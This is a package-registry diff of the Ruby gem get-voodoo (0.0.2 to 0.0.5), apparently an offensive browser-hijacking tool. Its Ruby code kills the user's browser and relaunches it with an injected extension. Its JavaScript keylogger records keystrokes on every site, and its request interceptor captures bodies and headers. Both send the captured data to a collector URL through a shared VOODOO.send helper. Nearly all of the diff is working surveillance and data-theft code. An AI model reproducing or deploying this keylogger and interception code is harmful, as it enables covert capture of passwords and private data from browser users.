get-voodoo 0.0.2 → 0.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 07b29d0dc8ec8508f2fe7d209b0b2b39f5aac921c74ae0384a2e46cfcf4dcca0
4
- data.tar.gz: 829f98df9615e1c49d1f9c7d39e4d1d6b54d949774647f4461e5481e74376897
3
+ metadata.gz: b45cd5bfcb3fca16181b82d0953f164918c07392eb18f8aa4d55478521fd2154
4
+ data.tar.gz: a7fee0193c268c0a702ca77ec8f49537cb3fe094adf00638c0a33fc6cb7ebd0a
5
5
  SHA512:
6
- metadata.gz: 9c3bbb7191844e1b8d0132de990adce9a71775925871c011f1c7e409b5ce3c1568de89b28e68f622ec53a0e49534bca43b83562f307a7f6d96548fb38ec3d7ca
7
- data.tar.gz: e425d74c7e85d4fe0b54ca8a83ecea5e81d3d8d1f9817fab6d45021e401b2dec9db692eba93f6effe04b4eba86cfde4f61476aaf49a94bf6d26d56a918acee3c
6
+ metadata.gz: dc81a7f05068b804b8a7eed2a1d95533c7733e7bb41bb0efe7fffb58e722379d8dc7f6e7d6fa7673be2598f9a068640112108678ccef6cda6834072ec6347d02
7
+ data.tar.gz: 6524d367047d65af47ebc1a290e012c58303e5b4e6d8d2911b90ec23ff4b4f7b9fc6f50cbf34fa2374a24d72845a223fca1679517a15895b98a7fca00265d436
@@ -19,52 +19,55 @@ module VOODOO
19
19
  @extension.add_background_script(file: File.join(__dir__, 'js/collector.js'))
20
20
  end
21
21
 
22
- def add_script(content: nil, file: nil, matches: '*://*/*')
23
- if content == nil && file != nil
24
- content = File.read file
25
- end
26
- if content == nil
27
- raise StandardError.new(':content or :file argument are required')
22
+ def keylogger(matches: '*://*/*', max_events: nil)
23
+ add_script(matches: matches,
24
+ file: File.join(__dir__, 'js/keylogger.js'),
25
+ max_events: max_events
26
+ ) do |event|
27
+ yield event
28
28
  end
29
- @extension.add_content_script([matches], js: [content])
30
- self
31
- end
32
-
33
- def keylogger(matches: '*://*/*', url_include: '')
34
- collector = Collector.new
35
- collector.on_json {|jsond| yield jsond }
36
-
37
- options = {
38
- collector_url: collector.url
39
- }
40
-
41
- @collector_threads.push(collector.thread)
42
-
43
- keylogger_js = build_js('keylogger.js', with_options: options)
44
- @extension.add_content_script(matches, js: [keylogger_js])
45
29
  end
46
30
 
47
- def intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil)
48
- collector = make_collector() {|jsond| yield jsond }
31
+ def intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil, max_events: nil)
49
32
  options = {
50
33
  matches: matches,
51
34
  url_include: url_include,
52
35
  body_include: body_include,
53
- header_exists: header_exists,
54
- collector_url: collector.url
36
+ header_exists: header_exists
55
37
  }
56
- background_js = build_js('intercept.js', with_options: options)
57
- @extension.add_background_script content: background_js
38
+
39
+ add_script(options: options,
40
+ background: true,
41
+ max_events: max_events,
42
+ file: File.join(__dir__, 'js/intercept.js')
43
+ ) do |event|
44
+ yield event
45
+ end
46
+ end
47
+
48
+ def add_permissions(permissions)
49
+ permissions = [permissions] unless permissions.is_a? Array
50
+ @extension.manifest[:permissions] += permissions
58
51
  end
59
52
 
60
- def hijack(url = '')
53
+ def hijack(urls = [])
61
54
  # kill the browser process twise, to bypass close warning
62
55
  `pkill -a -i "#{@process_name}"`
63
56
  `pkill -a -i "#{@process_name}"`
64
57
  sleep 0.1
65
58
 
59
+ urls = [urls] unless urls.kind_of? Array
60
+ urls = urls.uniq
61
+
66
62
  profile_dir = "--profile-directory=\"#{@profile}\"" if @profile != nil
67
- `open -b "#{@bundle}" --args #{profile_dir} --load-extension="#{@extension.save}" #{url}`
63
+ `open -b "#{@bundle}" --args #{profile_dir} --load-extension="#{@extension.save}" #{urls.shift}`
64
+
65
+ if urls.length > 0
66
+ sleep 0.5
67
+ for url in urls
68
+ `open -b "#{@bundle}" -n -g -j --args #{url}`
69
+ end
70
+ end
68
71
 
69
72
  for thread in @collector_threads
70
73
  thread.join
@@ -91,6 +94,73 @@ module VOODOO
91
94
  self.new(bundle: 'org.chromium.Chromium', process_name: 'Chromium')
92
95
  end
93
96
 
97
+ def add_script(content: nil, file: nil, matches: nil, options: {}, background: false, max_events: nil)
98
+ if matches != nil && background != false
99
+ puts 'WARNING: matches is ignored when background is set to true.'
100
+ end
101
+
102
+ if content == nil && file != nil
103
+ content = File.read file
104
+ end
105
+
106
+ if content == nil
107
+ raise StandardError.new(':content or :file argument are required')
108
+ end
109
+
110
+ event_count = 0
111
+
112
+ if block_given?
113
+ collector = Collector.new
114
+ collector.on_json {|jsond|
115
+ yield jsond
116
+ if (max_events != nil)
117
+ event_count += 1
118
+ if event_count >= max_events.to_i
119
+ collector.thread.kill
120
+ end
121
+ end
122
+ }
123
+ @collector_threads.push(collector.thread)
124
+ options[:collector_url] = collector.url
125
+ end
126
+
127
+ options.keys.each do |key|
128
+ options[(key.to_sym rescue key) || key] = options.delete(key)
129
+ end
130
+
131
+ voodoo_js = File.read(File.join(__dir__, 'js/voodoo.js'))
132
+ content = voodoo_js + "\n" + content
133
+
134
+ # find variables
135
+ variables = content.scan(/%{[a-z_0-9]+}/i)
136
+
137
+ for var in variables
138
+ # remove %{}
139
+ var_sym = var[2...(var.length)-1].to_sym
140
+ if !options[var_sym]
141
+ # when option is missing set it to nil
142
+ options[var_sym] = nil
143
+ else
144
+ if !options[var_sym].kind_of? String
145
+ content = content.gsub("\"#{var}\"", var)
146
+ options[var_sym] = JSON.generate(options[var_sym])
147
+ end
148
+ end
149
+ end
150
+
151
+ content = content % options
152
+
153
+ if background == true
154
+ return @extension.add_background_script(content: content)
155
+ else
156
+ if matches == nil
157
+ matches = '*://*/*'
158
+ end
159
+
160
+ return @extension.add_content_script(matches, js: [content])
161
+ end
162
+ end
163
+
94
164
  protected
95
165
 
96
166
  def make_collector
@@ -99,14 +169,6 @@ module VOODOO
99
169
  @collector_threads.push(collector.thread)
100
170
  return collector
101
171
  end
102
-
103
- def build_js(file, with_options: nil)
104
- js = File.read(File.join(__dir__, 'js', file))
105
- if with_options != nil
106
- js = js.gsub('REBY_INJECTED_OPTIONS', JSON.generate(with_options))
107
- end
108
- return js
109
- end
110
172
  end
111
173
 
112
174
  end
data/lib/voodoo/cli.rb CHANGED
@@ -1,5 +1,7 @@
1
1
  require 'thor'
2
2
  require 'json'
3
+ require 'yaml'
4
+ require 'voodoo/output'
3
5
  require 'voodoo/browser'
4
6
 
5
7
  module VOODOO
@@ -16,78 +18,133 @@ module VOODOO
16
18
  option :url_include, :type => :string, :aliases => :u, :default => nil
17
19
  option :body_include, :type => :string, :aliases => :b, :default => nil
18
20
  option :header_exists, :type => :string, :aliases => :h, :default => nil
19
- option :output, :type => :string, :aliases => :o, :default => 'stdout'
20
- option :site, :type => :string, :aliases => :s, :default => ''
21
+ option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload'
22
+ option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
23
+ option :urls, :type => :array, :aliases => :x, :default => []
21
24
  option :matches, :type => :array, :aliases => :m, :default => ['<all_urls>']
22
25
  option :browser, :type => :string, :aliases => :b, :default => 'chrome'
23
- desc 'intercept', 'intercept browser requests'
26
+ option :max_events, :type => :numeric, :default => nil
27
+ desc 'intercept', 'Intercept browser requests'
24
28
  def intercept
25
29
  browser = get_browser options[:browser]
26
-
27
- output = options[:output]
28
-
29
- if output != 'stdout'
30
- output = open(output, 'a')
31
- end
30
+ output_handler = Output.new(file: options[:output], in_format: options[:format], for_command: 'intercept')
32
31
 
33
32
  browser.intercept(matches: options[:matches],
34
33
  url_include: options[:url_include],
35
- body_include: options[:body_include]) do |req|
36
- if output != 'stdout'
37
- output.puts JSON.generate(req)
38
- output.close
39
- output = open(output, 'a')
40
- else
41
- puts "#{req[:method]} #{req[:url]}"
42
- if req[:body]
43
- body = req[:body]
44
- if body.length > 100
45
- body = body[0...97] + '...'
46
- end
47
- puts "BODY: #{body}"
48
- end
49
- end
34
+ body_include: options[:body_include],
35
+ max_events: options[:max_events]) do |event|
36
+ output_handler.handle(event)
50
37
  end
51
38
 
52
- browser.hijack options[:site]
39
+ browser.hijack options[:urls]
53
40
  end
54
41
 
55
- option :site, :type => :string, :aliases => :s, :default => ''
42
+ option :urls, :type => :array, :aliases => :x, :default => []
43
+ option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload, none'
44
+ option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
45
+ option :params, :type => :hash,:aliases => :p, :default => {}
56
46
  option :matches, :type => :array, :aliases => :m, :default => ['*://*/*']
57
47
  option :browser, :type => :string, :aliases => :b, :default => 'chrome'
58
- desc 'script <js/path>', 'add a content script'
48
+ option :permissions, :type => :array, :aliases => :p, :default => []
49
+ option :max_events, :type => :numeric, :default => nil
50
+ desc 'script <js/path>', 'Add a content script'
59
51
  def script(path_or_js)
60
52
  browser = get_browser options[:browser]
53
+ browser.add_permissions options[:permissions]
54
+ output_handler = Output.new(file: options[:output], in_format: options[:format], for_command: 'script')
55
+
56
+ file = nil
57
+ content = nil
58
+
61
59
  if File.exists? path_or_js
62
- browser.add_script file: path_or_js
60
+ file = path_or_js
61
+ else
62
+ content = path_or_js
63
+ end
64
+
65
+ if output_handler.writable
66
+ browser.add_script file: file, content: content, options: options[:params], max_events: options[:max_events] do |event|
67
+ output_handler.handle(event)
68
+ end
63
69
  else
64
- browser.add_script content: path_or_js
70
+ browser.add_script file: file, content: content, options: options[:params]
65
71
  end
66
- browser.hijack options[:site]
72
+
73
+ browser.hijack options[:urls]
67
74
  end
68
75
 
69
- option :site, :type => :string, :aliases => :s, :default => ''
70
- option :output, :type => :string, :aliases => :o, :default => 'stdout'
76
+ option :urls, :type => :array, :aliases => :x, :default => []
77
+ option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload'
78
+ option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
71
79
  option :matches, :type => :array, :aliases => :m, :default => ['*://*/*']
72
80
  option :browser, :type => :string, :aliases => :b, :default => 'chrome'
73
- desc 'keylogger', 'records user keystrokes'
81
+ option :max_events, :type => :numeric, :default => nil
82
+ desc 'keylogger', 'Records user keystrokes'
74
83
  def keylogger
75
84
  browser = get_browser options[:browser]
76
- output = options[:output]
85
+ output_handler = Output.new(file: options[:output], in_format: options[:format], for_command: 'keylogger')
86
+ browser.keylogger(matches: options[:matches], max_events: options[:max_events]) do |event|
87
+ output_handler.handle(event)
88
+ end
89
+ browser.hijack options[:urls]
90
+ end
77
91
 
78
- if output != 'stdout'
79
- output = open(output, 'a')
92
+ option :browser, :type => :string, :aliases => :b, :default => nil
93
+ option :format, :type => :string, :aliases => :f, :default => 'none', :desc => 'json, payload, none'
94
+ option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
95
+ option :urls, :type => :array, :aliases => :x, :default => []
96
+ option :params, :type => :hash,:aliases => :p, :default => {}
97
+ option :max_events, :type => :numeric, :default => nil
98
+ desc 'template <path>', 'Execute a VOODOO template'
99
+ def template(path)
100
+ pwd = Dir.pwd
101
+
102
+ if File.directory? path
103
+ pwd = File.expand_path(File.join(pwd, path))
104
+ template = YAML.load_file(File.join(path, 'voodoo.yaml'))
105
+ else
106
+ pwd = File.expand_path(File.join(pwd, File.dirname(path)))
107
+ template = YAML.load_file(path)
80
108
  end
81
109
 
82
- browser.keylogger(matches: options[:matches]) do |event|
83
- if output != 'stdout'
84
- output.puts JSON.generate(event)
110
+ browser_inst = template['browser'] || {}
111
+ browser = get_browser(options[:browser] || browser_inst['name'] || 'chrome')
112
+
113
+ if template['permissions']
114
+ browser.add_permissions template['permissions']
115
+ end
116
+
117
+ output_format = options[:format]
118
+ is_default = output_format == 'none'
119
+
120
+ if is_default && template['format']
121
+ output_format = template['format']
122
+ end
123
+
124
+ output_handler = Output.new(file: options[:output], in_format: output_format, for_command: 'template')
125
+
126
+ template['scripts'].each do |script|
127
+ file = File.expand_path(File.join(pwd, script['file'])) if script['file']
128
+ content = script['content']
129
+ matches = script['matches']
130
+ background = script['background'] || false
131
+
132
+ if output_handler.writable
133
+ browser.add_script(max_events: options[:max_events], matches: matches, file: file, content: content, options: options[:params], background: background) do |event|
134
+ output_handler.handle(event)
135
+ end
85
136
  else
86
- print event[:log]
137
+ browser.add_script(matches: matches,content: content, options: options[:params], background: background)
87
138
  end
88
139
  end
89
140
 
90
- browser.hijack options[:site]
141
+ urls = options[:urls]
142
+
143
+ if urls.length == 0 && browser_inst['urls']
144
+ urls = browser_inst['urls']
145
+ end
146
+
147
+ browser.hijack urls
91
148
  end
92
149
 
93
150
  def self.exit_on_failure?
@@ -51,6 +51,7 @@ module VOODOO
51
51
  end
52
52
 
53
53
  def save
54
+ @manifest[:permissions] = @manifest[:permissions].uniq
54
55
  manifest_path = File.join(@folder, 'manifest.json')
55
56
  File.write(manifest_path, JSON.generate(@manifest))
56
57
  return @folder
@@ -1,4 +1,7 @@
1
- chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
1
+ /**
2
+ * VOODOO collector
3
+ */
4
+ chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
2
5
  navigator.sendBeacon(request.collector_url, request.body);
3
6
  sendResponse(1)
4
7
  });
@@ -2,24 +2,40 @@
2
2
  * VOODOO Intercept
3
3
  */
4
4
  (function () {
5
- let options = REBY_INJECTED_OPTIONS;
6
- let matches = options.matches || ["<all_urls>"];
5
+ let options = {
6
+ body_include: "%{body_include}",
7
+ url_include: "%{url_include}",
8
+ collector_url: "%{collector_url}",
9
+ header_exists: "%{header_exists}"
10
+ };
11
+
12
+ let matches = "%{matches}";
13
+
14
+ if (options.header_exists) {
15
+ options.header_exists = options.header_exists.toLowerCase();
16
+ }
7
17
 
8
18
  if (!Array.isArray(matches)) {
9
19
  matches = [matches];
10
20
  }
11
21
 
12
- if (!options.collector_url) {
13
- return;
22
+ function parseBody(body) {
23
+ try {
24
+ return body.raw.map(data => String.fromCharCode.apply(null, new Uint8Array(data.bytes))).join('')
25
+ } catch {
26
+ return "";
27
+ }
14
28
  }
15
29
 
16
30
  const requests = new Map();
17
31
 
18
32
  chrome.webRequest.onBeforeSendHeaders.addListener(function (e) {
19
33
  const request = requests.get(e.requestId);
34
+
20
35
  if (!request) {
21
36
  return;
22
37
  }
38
+
23
39
  requests.delete(e.requestId);
24
40
  request.headers = e.requestHeaders;
25
41
 
@@ -36,7 +52,7 @@
36
52
  }
37
53
  }
38
54
 
39
- navigator.sendBeacon(options.collector_url, JSON.stringify(request))
55
+ VOODOO.send(request);
40
56
  }, { urls: matches }, ['requestHeaders', 'extraHeaders'])
41
57
 
42
58
  chrome.webRequest.onBeforeRequest.addListener(
@@ -46,13 +62,20 @@
46
62
  }
47
63
 
48
64
  if (options.url_include && request.url.indexOf(options.url_include) === -1) {
49
- return;
65
+ return { cancel: false };
66
+ }
67
+
68
+ if (options.body_include && !request.requestBody) {
69
+ return { cancel: false };
50
70
  }
51
71
 
52
- try {
53
- request.body = request.requestBody.raw.map(data => String.fromCharCode.apply(null, new Uint8Array(data.bytes))).join('')
72
+ if (request.requestBody) {
73
+ request.body = parseBody(request.requestBody);
54
74
  delete request.requestBody;
55
- } catch { }
75
+ if (options.body_include && request.body.indexOf(options.body_include) === -1) {
76
+ return { cancel: false };
77
+ }
78
+ }
56
79
 
57
80
  requests.set(request.requestId, request);
58
81
  return { cancel: false };
@@ -60,5 +83,4 @@
60
83
  { urls: matches },
61
84
  ['requestBody']
62
85
  );
63
-
64
86
  })();
@@ -2,13 +2,6 @@
2
2
  * VOODOO Keylogger
3
3
  */
4
4
  (function () {
5
- sessionStorage.setItem("uuid", Math.random().toString(16).substring(2));
6
- const options = REBY_INJECTED_OPTIONS;
7
-
8
- if (!options.collector_url) {
9
- return;
10
- }
11
-
12
5
  let output = "";
13
6
  let lastElement = null;
14
7
 
@@ -27,29 +20,17 @@
27
20
  return id;
28
21
  }
29
22
 
30
- function send_to_collector() {
31
- chrome.runtime.sendMessage({
32
- collector_url: options.collector_url,
33
- body: JSON.stringify({ time: new Date().getTime(), origin: window.location.origin, uuid: sessionStorage.uuid, log: output })
34
- }, function (response) {
35
- //console.log(response);
36
- });
37
- output = "";
38
- }
39
-
40
- setInterval(function () {
41
- if (output.length !== 0) {
42
- send_to_collector();
43
- }
44
- }, 5000);
45
-
46
- window.addEventListener("beforeunload", function (e) {
23
+ function sendAndDelete() {
47
24
  if (output.length === 0) {
48
25
  return;
49
26
  }
50
- send_to_collector();
51
- }, false);
27
+ VOODOO.send(output);
28
+ output = "";
29
+ }
30
+
31
+ setInterval(sendAndDelete, 5000);
52
32
 
33
+ window.addEventListener("beforeunload", sendAndDelete, false);
53
34
  window.addEventListener("blur", function () {
54
35
  output += "\n[TAB LOST FOCUS]\n";
55
36
  });
@@ -61,15 +42,15 @@
61
42
  window.addEventListener("keydown", function (event) {
62
43
  if (lastElement !== event.path[0]) {
63
44
  lastElement = event.path[0];
64
- output += `\n==> ${describe(event.path[0])}\n`
45
+ output += `\n[ELEMENT => ${describe(event.path[0])}]\n`
65
46
  }
66
47
  if (event.key.length > 1) {
67
- output += `[[${event.key}]]`;
48
+ output += `[${event.key}]`;
68
49
  } else {
69
50
  output += event.key;
70
51
  }
71
52
  });
72
53
 
73
54
  output = `\n====== ${window.location.href} (${document.title}) ======\n`;
74
- send_to_collector();
55
+ sendAndDelete();
75
56
  })();
@@ -0,0 +1,29 @@
1
+ if (!sessionStorage.tab_uuid) {
2
+ sessionStorage.setItem("tab_uuid", Math.random().toString(16).substring(2));
3
+ }
4
+
5
+ const VOODOO = {
6
+ options: { collector_url: "%{collector_url}" },
7
+ send(payload) {
8
+ if (!VOODOO.options.collector_url) {
9
+ return;
10
+ }
11
+
12
+ const body = JSON.stringify({
13
+ time: new Date().getTime(),
14
+ tab_uuid: sessionStorage.tab_uuid,
15
+ origin: window.location.origin,
16
+ payload
17
+ });
18
+
19
+ if (window.location.href.indexOf("_generated_background_page.html") !== -1) {
20
+ return navigator.sendBeacon(VOODOO.options.collector_url, body);
21
+ }
22
+
23
+ chrome.runtime.sendMessage({
24
+ collector_url: VOODOO.options.collector_url, body
25
+ });
26
+ }
27
+ };
28
+
29
+ const V = VOODOO;
@@ -0,0 +1,60 @@
1
+ module VOODOO
2
+
3
+ class Output
4
+ attr_reader :writable
5
+
6
+ def initialize(file: nil, in_format: nil, for_command: nil)
7
+ @file = nil
8
+ @format = in_format
9
+ @command = for_command
10
+ @writable = in_format != 'none'
11
+ @file = open(file, 'a') if file
12
+ end
13
+
14
+ def write(any, with_print: false)
15
+ if @file
16
+ @file.puts any
17
+ else
18
+ if with_print
19
+ print any
20
+ else
21
+ puts any
22
+ end
23
+ end
24
+ end
25
+
26
+ def handle(event)
27
+ if !@writable
28
+ return
29
+ end
30
+
31
+ case @format
32
+ when 'pretty'
33
+ case @command
34
+ when 'keylogger'
35
+ write event[:payload], with_print: true
36
+ when 'intercept'
37
+ req = event[:payload]
38
+ write "#{req[:method]} #{req[:url]}"
39
+ req[:body] = req[:body][0...97] + "..." if req[:body] && req[:body].length > 100
40
+
41
+ if req[:body]
42
+ write "BODY: #{event[:payload][:body]}"
43
+ end
44
+ else
45
+ write JSON.generate(event[:payload])
46
+ end
47
+ when 'json'
48
+ write JSON.generate(event)
49
+ when 'payload'
50
+ write JSON.generate(event[:payload])
51
+ else
52
+ write JSON.generate(event)
53
+ end
54
+
55
+ true
56
+ end
57
+
58
+ end
59
+
60
+ end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: get-voodoo
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.0.2
4
+ version: 0.0.5
5
5
  platform: ruby
6
6
  authors:
7
7
  - Ron Masas
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2022-03-10 00:00:00.000000000 Z
11
+ date: 2022-03-12 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: thor
@@ -82,6 +82,8 @@ files:
82
82
  - lib/voodoo/js/collector.js
83
83
  - lib/voodoo/js/intercept.js
84
84
  - lib/voodoo/js/keylogger.js
85
+ - lib/voodoo/js/voodoo.js
86
+ - lib/voodoo/output.rb
85
87
  homepage: https://breakpoint.sh/?f=org.rubygems.voodoo
86
88
  licenses:
87
89
  - GPL-2.0
@@ -95,7 +97,7 @@ required_ruby_version: !ruby/object:Gem::Requirement
95
97
  requirements:
96
98
  - - ">="
97
99
  - !ruby/object:Gem::Version
98
- version: '0'
100
+ version: 2.0.0
99
101
  required_rubygems_version: !ruby/object:Gem::Requirement
100
102
  requirements:
101
103
  - - ">="